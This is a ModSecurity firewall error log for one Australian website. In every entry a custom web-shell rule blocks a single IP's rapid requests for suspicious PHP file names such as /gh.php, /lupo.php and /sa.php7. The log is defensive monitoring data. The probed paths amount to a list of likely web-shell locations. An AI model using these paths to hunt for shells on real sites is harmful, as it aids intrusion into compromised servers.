[Sun Apr 19 02:39:18.155514 2026] [:error] [pid 32167:tid 32243] [client 20.91.197.181:52643] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccrheegr.php"] [unique_id "aePP1kyD4Jm27Mb3NJiUugAAAJI"]
[Sun Apr 19 02:39:18.771949 2026] [:error] [pid 32167:tid 32233] [client 20.91.197.181:51826] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccrheegr.php"] [unique_id "aePP1kyD4Jm27Mb3NJiUvgAAAIg"]
[Sun Apr 19 02:39:19.934572 2026] [:error] [pid 32165:tid 32178] [client 20.91.197.181:55194] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccrheegr.php"] [unique_id "aePP16e2vKwEk_N0Brb_QwAAAAk"]
[Sun Apr 19 02:39:20.931432 2026] [:error] [pid 41277:tid 41293] [client 20.91.197.181:55515] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccrheegr.php"] [unique_id "aePP2EH3ayszMLZYflsFAQAAAY4"]
[Sun Apr 19 02:39:21.559284 2026] [:error] [pid 32166:tid 32211] [client 20.91.197.181:51776] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckmtelzy.php"] [unique_id "aePP2ZCHNkWwdiZnafLWjAAAAE0"]
[Sun Apr 19 02:39:22.469374 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:50047] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckmtelzy.php"] [unique_id "aePP2n4Zz-rubR1wiZ-6xwAAAMA"]
[Sun Apr 19 02:39:23.903217 2026] [:error] [pid 32165:tid 32170] [client 20.91.197.181:55545] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckmtelzy.php"] [unique_id "aePP26e2vKwEk_N0Brb_SwAAAAE"]
[Sun Apr 19 02:39:24.595485 2026] [:error] [pid 32252:tid 32258] [client 20.91.197.181:52071] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckmtelzy.php"] [unique_id "aePP3OXl4Yc-Lt5fJ9irSQAAAQQ"]
[Sun Apr 19 02:39:25.218067 2026] [:error] [pid 41277:tid 41303] [client 20.91.197.181:51047] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggddssvl.php"] [unique_id "aePP3UH3ayszMLZYflsFCgAAAZg"]
[Sun Apr 19 02:39:26.411760 2026] [:error] [pid 32166:tid 32203] [client 20.91.197.181:51780] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggddssvl.php"] [unique_id "aePP3pCHNkWwdiZnafLWjwAAAEU"]
[Sun Apr 19 02:39:27.153017 2026] [:error] [pid 32166:tid 32221] [client 20.91.197.181:55231] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggddssvl.php"] [unique_id "aePP35CHNkWwdiZnafLWkwAAAFc"]
[Sun Apr 19 02:39:27.927573 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:52647] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggddssvl.php"] [unique_id "aePP3-Xl4Yc-Lt5fJ9irSwAAAQ4"]
[Sun Apr 19 02:39:28.588622 2026] [:error] [pid 32165:tid 32174] [client 20.91.197.181:52580] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajckrrj.php"] [unique_id "aePP4Ke2vKwEk_N0Brb_UwAAAAU"]
[Sun Apr 19 02:39:29.171272 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:52605] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajckrrj.php"] [unique_id "aePP4X4Zz-rubR1wiZ-61AAAAMw"]
[Sun Apr 19 02:39:29.798796 2026] [:error] [pid 41277:tid 41302] [client 20.91.197.181:49852] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajckrrj.php"] [unique_id "aePP4UH3ayszMLZYflsFEQAAAZc"]
[Sun Apr 19 02:39:30.469148 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:51035] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajckrrj.php"] [unique_id "aePP4kyD4Jm27Mb3NJiUywAAAIY"]
[Sun Apr 19 02:39:31.048167 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:55181] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajelmxf.php"] [unique_id "aePP40yD4Jm27Mb3NJiUzQAAAJA"]
[Sun Apr 19 02:39:31.622616 2026] [:error] [pid 32165:tid 32181] [client 20.91.197.181:50005] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajelmxf.php"] [unique_id "aePP46e2vKwEk_N0Brb_VQAAAAw"]
[Sun Apr 19 02:39:32.203176 2026] [:error] [pid 32167:tid 32238] [client 20.91.197.181:51795] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajelmxf.php"] [unique_id "aePP5EyD4Jm27Mb3NJiU0gAAAI0"]
[Sun Apr 19 02:39:32.782392 2026] [:error] [pid 32167:tid 32243] [client 20.91.197.181:51792] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajelmxf.php"] [unique_id "aePP5EyD4Jm27Mb3NJiU0wAAAJI"]
[Sun Apr 19 02:39:33.652842 2026] [:error] [pid 60910:tid 60919] [client 20.91.197.181:52657] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aePP5XFWunkyacYqsD1LSQAAAUc"]
[Sun Apr 19 02:39:34.310650 2026] [:error] [pid 32166:tid 32207] [client 20.91.197.181:47370] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aePP5pCHNkWwdiZnafLWngAAAEk"]
[Sun Apr 19 02:39:34.929087 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:55498] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aePP5nFWunkyacYqsD1LTgAAAVg"]
[Sun Apr 19 02:39:35.726037 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:47423] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aePP50yD4Jm27Mb3NJiU3AAAAIU"]
[Sun Apr 19 02:39:36.255397 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:51779] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aePP6HFWunkyacYqsD1LUAAAAUg"]
[Sun Apr 19 02:39:36.969550 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:55533] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aePP6EyD4Jm27Mb3NJiU4QAAAJQ"]
[Sun Apr 19 02:39:37.603347 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:47382] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aePP6XFWunkyacYqsD1LUwAAAUU"]
[Sun Apr 19 02:39:38.370703 2026] [:error] [pid 60910:tid 60928] [client 20.91.197.181:55518] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aePP6nFWunkyacYqsD1LVgAAAVA"]
[Sun Apr 19 02:39:38.955187 2026] [:error] [pid 32252:tid 32265] [client 20.91.197.181:51800] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aePP6uXl4Yc-Lt5fJ9irUgAAAQs"]
[Sun Apr 19 02:39:39.582147 2026] [:error] [pid 32167:tid 32240] [client 20.91.197.181:55168] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aePP60yD4Jm27Mb3NJiU7QAAAI8"]
[Sun Apr 19 02:39:40.178114 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:55230] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aePP7EyD4Jm27Mb3NJiU8AAAAJc"]
[Sun Apr 19 02:39:43.047699 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:47420] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aePP73FWunkyacYqsD1LXAAAAUg"]
[Sun Apr 19 02:39:43.749645 2026] [:error] [pid 32165:tid 32177] [client 20.91.197.181:55521] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aePP76e2vKwEk_N0Brb_XQAAAAg"]
[Sun Apr 19 02:39:44.303467 2026] [:error] [pid 33517:tid 33542] [client 20.91.197.181:47414] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aePP8H4Zz-rubR1wiZ-63gAAANc"]
[Sun Apr 19 02:39:44.885427 2026] [:error] [pid 32252:tid 32262] [client 20.91.197.181:51824] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aePP8OXl4Yc-Lt5fJ9irVAAAAQg"]
[Sun Apr 19 02:39:45.513340 2026] [:error] [pid 32252:tid 32261] [client 20.91.197.181:55193] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aePP8eXl4Yc-Lt5fJ9irVwAAAQc"]
[Sun Apr 19 02:39:46.299009 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:52565] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0xD.php"] [unique_id "aePP8n4Zz-rubR1wiZ-64AAAAMw"]
[Sun Apr 19 02:39:46.925230 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:55224] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0xD.php"] [unique_id "aePP8n4Zz-rubR1wiZ-64QAAAMA"]
[Sun Apr 19 02:39:47.488541 2026] [:error] [pid 32166:tid 32199] [client 20.91.197.181:55215] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0xD.php"] [unique_id "aePP85CHNkWwdiZnafLWpgAAAEE"]
[Sun Apr 19 02:39:48.239157 2026] [:error] [pid 32252:tid 32267] [client 20.91.197.181:50935] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0xD.php"] [unique_id "aePP9OXl4Yc-Lt5fJ9irWwAAAQ0"]
[Sun Apr 19 02:39:48.810205 2026] [:error] [pid 32166:tid 32214] [client 20.91.197.181:55547] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gh.php"] [unique_id "aePP9JCHNkWwdiZnafLWqQAAAFA"]
[Sun Apr 19 02:39:49.378751 2026] [:error] [pid 32167:tid 32244] [client 20.91.197.181:55169] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gh.php"] [unique_id "aePP9UyD4Jm27Mb3NJiVBQAAAJM"]
[Sun Apr 19 02:39:50.021433 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:51788] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gh.php"] [unique_id "aePP9kyD4Jm27Mb3NJiVBwAAAIY"]
[Sun Apr 19 02:39:50.666725 2026] [:error] [pid 60910:tid 60919] [client 20.91.197.181:55497] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gh.php"] [unique_id "aePP9nFWunkyacYqsD1LXwAAAUc"]
[Sun Apr 19 02:39:51.416120 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:50043] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aePP90yD4Jm27Mb3NJiVDgAAAJc"]
[Sun Apr 19 02:39:51.993510 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:50011] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aePP90yD4Jm27Mb3NJiVEAAAAIk"]
[Sun Apr 19 02:39:52.827912 2026] [:error] [pid 32252:tid 32260] [client 20.91.197.181:52661] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aePP-OXl4Yc-Lt5fJ9irYAAAAQY"]
[Sun Apr 19 02:39:53.379640 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:55492] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aePP-UyD4Jm27Mb3NJiVFwAAAIE"]
[Sun Apr 19 02:39:53.947437 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:55508] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aePP-XFWunkyacYqsD1LYgAAAU0"]
[Sun Apr 19 02:39:54.527429 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:52646] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aePP-nFWunkyacYqsD1LZQAAAVg"]
[Sun Apr 19 02:39:55.497964 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:51778] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aePP-0yD4Jm27Mb3NJiVHgAAAIk"]
[Sun Apr 19 02:39:56.047045 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:50022] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aePP_EyD4Jm27Mb3NJiVIgAAAJU"]
[Sun Apr 19 02:39:56.621207 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:55517] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xigmltad.php"] [unique_id "aePP_EyD4Jm27Mb3NJiVJAAAAIs"]
[Sun Apr 19 02:39:57.172625 2026] [:error] [pid 32167:tid 32237] [client 20.91.197.181:51010] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xigmltad.php"] [unique_id "aePP_UyD4Jm27Mb3NJiVKAAAAIw"]
[Sun Apr 19 02:39:57.811666 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:52578] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xigmltad.php"] [unique_id "aePP_UyD4Jm27Mb3NJiVKgAAAIk"]
